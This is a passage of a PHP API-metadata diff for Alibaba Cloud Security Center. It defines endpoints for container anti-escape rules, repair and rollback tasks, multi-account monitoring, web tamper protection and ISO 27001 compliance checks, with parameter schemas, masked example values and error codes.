'default' => '0', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '容器防逃逸规则的ID。'."\n" + .'>调用[ListAegisContainerPluginRule](~~ListAegisContainerPluginRule~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '1141****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据详情。', + 'type' => 'object', + 'properties' => [ + 'GmtCreate' => [ + 'description' => '创建规则的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671607025000', + ], + 'GmtModified' => [ + 'description' => '修改规则的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671607025000', + ], + 'RuleId' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '21**', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'auto_test_rule-EmzIXZ', + ], + 'RuleDescription' => [ + 'description' => '规则描述。', + 'type' => 'string', + 'example' => 'autoTest', + ], + 'RuleTemplateId' => [ + 'description' => '规则模板ID。', + 'type' => 'string', + 'example' => '100**', + ], + 'RuleTemplateName' => [ + 'description' => '规则模板名称。', + 'type' => 'string', + 'example' => 'template01', + ], + 'Mode' => [ + 'description' => '规则动作模式。取值：'."\n" + .'- **0**：放行'."\n" + .'- **1**：告警'."\n" + .'- **2**：拦截', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'SelectedPolicy' => [ + 'description' => '规则项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则项。', + 'type' => 'string', + 'example' => 'notify_on_release_2', + ], + ], + 'SwitchId' => [ + 'description' => '对应的开关ID。', + 'type' => 'string', + 'example' => 'USER-CONTAINER-RULE-SWITCH-TYPE_***', + ], + 'WhiteImages' => [ + 'description' => '白名单镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '白名单镜像列表。', + 'type' => 'string', + 'example' => 'centos', + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-***0DEF8BF6F', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"GmtCreate\\": 1671607025000,\\n \\"GmtModified\\": 1671607025000,\\n \\"RuleId\\": 0,\\n \\"RuleName\\": \\"auto_test_rule-EmzIXZ\\",\\n \\"RuleDescription\\": \\"autoTest\\",\\n \\"RuleTemplateId\\": \\"100**\\",\\n \\"RuleTemplateName\\": \\"template01\\",\\n \\"Mode\\": 1,\\n \\"SelectedPolicy\\": [\\n \\"notify_on_release_2\\"\\n ],\\n \\"SwitchId\\": \\"USER-CONTAINER-RULE-SWITCH-TYPE_***\\",\\n \\"WhiteImages\\": [\\n \\"centos\\"\\n ]\\n },\\n \\"RequestId\\": \\"09969D2C-***0DEF8BF6F\\"\\n}","type":"json"}]', + 'title' => '查询容器防逃逸规则详情', + 'description' => '仅支持云安全中心旗舰版用户调用该接口。', + ], + 'SubmitOperationTask' => [ + 'summary' => '云产品配置检查中提交存在风险检查项的修复任务或回滚已经执行的修复任务。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '213382', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '132', + ], + ], + [ + 'name' => 'OperationTaskInstances', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '提交实例任务所需的资产信息。', + 'type' => 'array', + 'items' => [ + 'description' => '对应资产信息的结构体。', + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '资产厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'string', + 'required' => false, + 'example' => '7', + ], + 'RegionId' => [ + 'description' => '服务器所在的地域的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-uf6533m4vuo3oa33****', + ], + 'TaskId' => [ + 'description' => '回滚任务时回滚的任务ID。', + 'type' => 'string', + 'required' => false, + 'example' => '7d0b10e35e80c9e5ebac5f1054****', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'DimensionType', + 'in' => 'query', + 'schema' => [ + 'description' => '提交操作任务的任务维度：'."\n" + .'- 实例维度：INSTANCE'."\n" + .'- 检查项维度：CHECK_ID', + 'type' => 'string', + 'required' => false, + 'example' => 'CHECK_ID', + 'enum' => [ + 'INSTANCE', + 'CHECK_ID', + 'INSTANCE_RELATION_KEY', + ], + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '提交任务的任务类型：'."\n" + .'- 修复任务：REPAIR'."\n" + .'- 回滚任务：ROLLBACK', + 'type' => 'string', + 'required' => true, + 'example' => 'REPAIR', + ], + ], + [ + 'name' => 'RepairTempParam', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '修复任务需要的临时参数。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '对应临时修复参数的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'IPPort', + ], + 'Value' => [ + 'description' => '临时修复参数对应的值。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.1XX.1XX', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'RelationKey', + 'in' => 'query', + 'schema' => [ + 'description' => '提交操作时关联跨页选择的关联Key。'."\n" + .'> 您可调用[CreateAssetSelectionConfig](~~CreateAssetSelectionConfig~~)接口BusinessType字段获取关联Key。', + 'type' => 'string', + 'required' => false, + 'example' => 'CSPM_OPERATION_RELATION_KEY_173***', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回消息的结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0C8487EF-50C2-54BB-8634-10F8C35D****', + ], + 'OperateCode' => [ + 'description' => '处理返回的结果码：'."\n" + .'- 授权不足：AuthorizationExhaust'."\n" + .'- 未授权：ActionTrialUnauthorized', + 'type' => 'string', + 'example' => 'AuthorizationExhaust', + ], + 'RootTaskId' => [ + 'description' => '提交任务返回的主任务ID。', + 'type' => 'string', + 'example' => '89f5d7813bd59dd237580a8664b3xxxx', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RepairTaskConflict', + 'errorMessage' => 'Fix task conflicts.', + ], + [ + 'errorCode' => 'RepairedParamNotCustomized.%s', + 'errorMessage' => 'The required repair parameter %s is not customized.', + ], + [ + 'errorCode' => 'ErrorParamFormat.%s', + 'errorMessage' => 'Parameter %s format is incorrectly filled in.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0C8487EF-50C2-54BB-8634-10F8C35D****\\",\\n \\"OperateCode\\": \\"AuthorizationExhaust\\",\\n \\"RootTaskId\\": \\"89f5d7813bd59dd237580a8664b3xxxx\\"\\n}","type":"json"}]', + 'title' => '提交检查项修复回滚操作任务', + ], + 'CheckTrialFixCount' => [ + 'summary' => '校验云安全中心试用版用户的剩余免费修复次数是否支持修复，同时查询本次修复预计消耗的漏洞修复次数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '91914', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要修复的漏洞类型。取值：'."\n" + ."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：WebCMS漏洞', + 'type' => 'string', + 'required' => true, + 'example' => 'cve', + ], + ], + [ + 'name' => 'Info', + 'in' => 'query', + 'schema' => [ + 'description' => '要处理的漏洞的信息。该参数为JSON格式，包含以下字段：'."\n" + ."\n" + .'- **name**：漏洞的名称'."\n" + .'- **uuid**：存在漏洞的服务器的UUID'."\n" + .'- **tag**：漏洞的标签。取值：'."\n" + .' - **oval**：Linux软件漏洞'."\n" + .' - **system**：Windows系统漏洞'."\n" + .' - **cms**：Web-CMS漏洞'."\n" + ."\n" + .'> 通过Info传参或通过VulNames和Uuids组合传参。', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"name\\":\\"oval:com.redhat.rhsa:def:20192143\\",\\"uuid\\":\\"80ee3226-1f96-4da0-a3ed-55c104e2****\\",\\"tag\\":\\"oval\\"}]', + ], + ], + [ + 'name' => 'VulNames', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '漏洞名称集合。', + 'type' => 'array', + 'items' => [ + 'description' => '要修复的漏洞名。', + 'type' => 'string', + 'required' => false, + 'example' => 'oval:com.redhat.rhsa:def:20192143', + ], + 'required' => false, + 'maxItems' => 10000, + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '服务器的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '95e8b759-44d7-4eb1-bb95-2b2d3b37****', + ], + 'required' => false, + 'maxItems' => 10000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + 'isTrial' => [ + 'description' => '是否试用版本。取值：'."\n" + .'- **true**：试用版本。'."\n" + .'- **false**：非试用版本。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'ExpendCount' => [ + 'description' => '本次修复即将消耗的次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'RemainCount' => [ + 'description' => '本次修复校验通过后的剩余可用修复次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RepairedCount' => [ + 'description' => '已修复的漏洞次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'CanFix' => [ + 'description' => '是否可支持修复。取值：'."\n" + .'- **true**：支持修复'."\n" + .'- **false**： 不支持修复', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"isTrial\\": true,\\n \\"ExpendCount\\": 10,\\n \\"RemainCount\\": 0,\\n \\"RepairedCount\\": 10,\\n \\"CanFix\\": true\\n}","type":"json"}]', + 'title' => '校验试用用户的剩余免费修复次数是否支持修复', + 'description' => '适用于试用版用户校验剩余免费修复次数，不会真正触发漏洞修复。', + ], + 'CreateMonitorAccount' => [ + 'summary' => '多账号安全管理功能创建云安全中心监控账号列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '91930', + 'abilityTreeNodes' => [ + 'FEATUREsas8YMQ5V', + ], + ], + 'parameters' => [ + [ + 'name' => 'AccountIds', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录中的成员账号ID列表。'."\n" + ."\n" + .'> 可通过[ListAccountsInResourceDirectory](~~ListAccountsInResourceDirectory~~)获取成员账号ID，多个成员账号ID需使用半角逗号分隔，监控账号列表会根据传入的列表全量替换，如果不传该参数，则会清空现有的监控账号列表。', + 'type' => 'string', + 'required' => false, + 'example' => '1026780160******,1457515594******', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\"\\n}","type":"json"}]', + 'title' => '创建多账号安全管理功能中的云安全中心监控账号列表', + 'description' => '需使用资源目录的管理账号或云安全中心委派管理员账号调用该接口。', + ], + 'DeleteMonitorAccount' => [ + 'summary' => '删除多账号安全管理功能中的云安全中心监控账号。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91967', + 'abilityTreeNodes' => [ + 'FEATUREsasFVYNUW', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'AccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '云安全中心监控账号列表中待删除的成员ID。'."\n" + ."\n" + .'> 可以调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口获取已接入云安全中心管控的成员账号ID列表。', + 'type' => 'string', + 'required' => true, + 'example' => '1840517068******', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\"\\n}","type":"json"}]', + 'title' => '删除多账号安全管理功能中的云安全中心监控账号', + 'description' => '需使用资源目录的管理账号或云安全中心委派管理员账号调用该接口。', + ], + 'EnableServiceAccessResourceDirectory' => [ + 'summary' => '开通云安全中心多账号安全管理功能。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92279', + 'abilityTreeNodes' => [ + 'FEATUREsasFVYNUW', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'EntityNotExists.ResourceDir', + 'errorMessage' => 'The resource directory does not exist.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\"\\n}","type":"json"}]', + 'title' => '开通云安全中心多账号安全管理功能', + 'description' => '需使用资源目录的管理账号或云安全中心委派管理员账号调用该接口。', + ], + 'ListAccountsInResourceDirectory' => [ + 'summary' => '获取多账号管控账号列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92323', + 'abilityTreeNodes' => [ + 'FEATUREsasFVYNUW', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B7A839E8-70AE-591D-8D9E-C5419A2240DB', + ], + 'Accounts' => [ + 'description' => '资源目录下成员账号列表。', + 'type' => 'array', + 'items' => [ + 'description' => '账号信息详情。', + 'type' => 'object', + 'properties' => [ + 'DisplayName' => [ + 'description' => '账号名。', + 'type' => 'string', + 'example' => 'abc**', + ], + 'AccountId' => [ + 'description' => '成员的阿里云账号ID。', + 'type' => 'string', + 'example' => '180803538814****', + ], + 'FolderId' => [ + 'description' => '所在资源目录的资源夹ID。', + 'type' => 'string', + 'example' => 'fd-cE2SQP****', + ], + 'SasVersion' => [ + 'description' => '已购买的云安全中心版本。 取值：'."\n" + ."\n" + .'- **0**或**1**：免费版'."\n" + .'- **2**或**3**：企业版 '."\n" + .'- **5**：高级版 '."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版', + 'type' => 'string', + 'example' => '0', + ], + 'IsMarked' => [ + 'description' => '是否标记关注。', + 'type' => 'string', + 'example' => 'no', + ], + 'IsSiemDaAccount' => [ + 'description' => '是否属于威胁分析与响应的委派管理员账号。'."\n" + ."\n" + .'- **yes**：是'."\n" + ."\n" + .'- **no**：否', + 'type' => 'string', + 'example' => 'no'."\n", + ], + 'IsSasDaAccount' => [ + 'description' => '是否是云安全中心的委派管理员账号。'."\n" + ."\n" + .'- **yes**：是'."\n" + ."\n" + .'- **no**：否', + 'type' => 'string', + 'example' => 'no', + ], + 'IsMaAccount' => [ + 'description' => '是否是资源目录的管理员账号。'."\n" + ."\n" + .'- **yes**：是'."\n" + ."\n" + .'- **no**：否', + 'type' => 'string', + 'example' => 'no', + ], + 'SaleInstance' => [ + 'description' => '云安全中心实例ID。', + 'type' => 'string', + 'example' => 'postpay-sas-x5x3hy1ly***', + ], + 'IsSiemControlAccount' => [ + 'description' => '是否属于威胁分析与响应的管控账号。'."\n" + ."\n" + .'- **yes**：是'."\n" + ."\n" + .'- **no**：否', + 'type' => 'string', + 'example' => 'no', + ], + 'ChargeType' => [ + 'description' => '包年包月，取值：'."\n" + .'* **0**：预付费'."\n" + .'* **1**：按量付费', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'InstanceBuyType' => [ + 'description' => '实例购买类型。取值：'."\n" + .'- **0**：自购'."\n" + .'- **1**：多账号分配', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'BuySas' => [ + 'description' => '该参数已废弃，无需关注。', + 'type' => 'integer', + 'format' => 'int32', + 'deprecated' => true, + 'example' => 'true', + ], + 'PostPayModuleSwitch' => [ + 'description' => '按量付费模块开关状态，格式为JsonString，取值：'."\n" + .'- Key：'."\n" + .' - **VUL**：漏洞修复模块'."\n" + .' - **CSPM**：云安全态势管理模块'."\n" + .' - **AGENTLESS**：无代理检测模块'."\n" + .' - **SERVERLESS**：Serverless资产模块'."\n" + .' - **CTDR**：威胁分析与响应模块'."\n" + .' - **RASP**：应用防护模块'."\n" + .' - **SDK**：恶意文件检测SDK模块'."\n" + .' - **POST_HOST**：主机及容器安全模块'."\n" + .'- Value：0表示关闭，1表示开启', + 'type' => 'string', + 'enumValueTitles' => [ + '{\\"AGENTLESS\\":0,\\"CTDR\\":0,\\"CSPM\\":0,\\"SERVERLESS\\":0,\\"RASP\\":0,\\"SDK\\":0,\\"VUL\\":0,\\"POST_HOST\\":0}' => '{\\"AGENTLESS\\":0,\\"CTDR\\":0,\\"CSPM\\":0,\\"SERVERLESS\\":0,\\"RASP\\":0,\\"SDK\\":0,\\"VUL\\":0,\\"POST_HOST\\":0}', + ], + 'example' => '{\\"VUL\\":0}', + ], + 'BuySasNew' => [ + 'description' => '是否购买云安全中心包年包月实例。取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + 'PostBasicService' => [ + 'description' => '后付费模块开关。取值：'."\n" + .'- **0**：关'."\n" + .'- **1**：开', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"B7A839E8-70AE-591D-8D9E-C5419A2240DB\\",\\n \\"Accounts\\": [\\n {\\n \\"DisplayName\\": \\"abc**\\",\\n \\"AccountId\\": \\"180803538814****\\",\\n \\"FolderId\\": \\"fd-cE2SQP****\\",\\n \\"SasVersion\\": \\"0\\",\\n \\"IsMarked\\": \\"no\\",\\n \\"IsSiemDaAccount\\": \\"no\\\\n\\",\\n \\"IsSasDaAccount\\": \\"no\\",\\n \\"IsMaAccount\\": \\"no\\",\\n \\"SaleInstance\\": \\"postpay-sas-x5x3hy1ly***\\",\\n \\"IsSiemControlAccount\\": \\"no\\",\\n \\"ChargeType\\": 1,\\n \\"InstanceBuyType\\": 0,\\n \\"BuySas\\": 0,\\n \\"PostPayModuleSwitch\\": \\"{\\\\\\\\\\\\\\"VUL\\\\\\\\\\\\\\":0}\\",\\n \\"BuySasNew\\": true,\\n \\"PostBasicService\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资源目录下成员账号列表', + 'description' => '需使用资源目录的管理账号或云安全中心委派管理员账号调用该接口。', + ], + 'ModifyWebLockRefresh' => [ + 'summary' => '刷新服务器的网页防篡改防护状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92403', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要刷新防篡改配置的服务器UUID。'."\n" + ."\n" + .'> 可以调用[DescribeWebLockBindList](~~DescribeWebLockBindList~~)接口获取已经配置的网页防篡改防护服务器列表。', + 'type' => 'string', + 'required' => false, + 'example' => '55c0f41b-3093-47a7-8eae-02d3a584****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1CF8C834-8028-5E01-96E2-0F065EA99F6D', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DefenceEmptyConfig', + 'errorMessage' => 'At least one protection directory is needed.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'InternalError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1CF8C834-8028-5E01-96E2-0F065EA99F6D\\"\\n}","type":"json"}]', + 'title' => '刷新防篡改的服务状态', + 'description' => '开启或关闭网页防篡改状态异常时，刷新防篡改的服务状态。', + ], + 'DescribeCheckResult' => [ + 'summary' => '查询ISO 27001合规检测结果。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '215977', + 'abilityTreeNodes' => [ + 'FEATUREsas312EAH', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult>', + 'description' => 'PlainResult>', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', + ], + 'CheckResultList' => [ + 'description' => '检查结果列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项结果。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '对应章节的名称。取值：'."\n" + .'- **information_classification**：信息的分级。'."\n" + .'- **information_mark**：信息的标记。'."\n" + .'- **network_security_policy**：网络和网络服务的访问。'."\n" + .'- **login_control**：安全登录规程。'."\n" + .'- **week_password**：口令管理系统。'."\n" + .'- **key_manage**：密钥管理。'."\n" + .'- **malicious_software**：控制恶意软件。'."\n" + .'- **information_backup**：信息备份。'."\n" + .'- **audit_policy**：信息系统审计控制措施。', + 'type' => 'string', + 'example' => 'information_mark', + ], + 'ComplianceStatus' => [ + 'description' => '合规状态。'."\n" + ."\n" + .'- **1**：合规。'."\n" + .'- **0**：不合规。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IConListError', + 'errorMessage' => 'Get Icon List Error, please try again', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + [ + 'errorCode' => 'Sign is invalid', + 'errorMessage' => 'Signature verification did not pass.', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\",\\n \\"CheckResultList\\": [\\n {\\n \\"Name\\": \\"information_mark\\",\\n \\"ComplianceStatus\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询ISO 27001合规检测结果', + ], + 'TriggerCheck' => [ + 'summary' => '触发云安全中心合规检查ISO 27001 合规检测任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '215968', + 'abilityTreeNodes' => [ + 'FEATUREsas312EAH', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '43313389-DED8-5BB7-8CB9-F22CDEB744DE', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 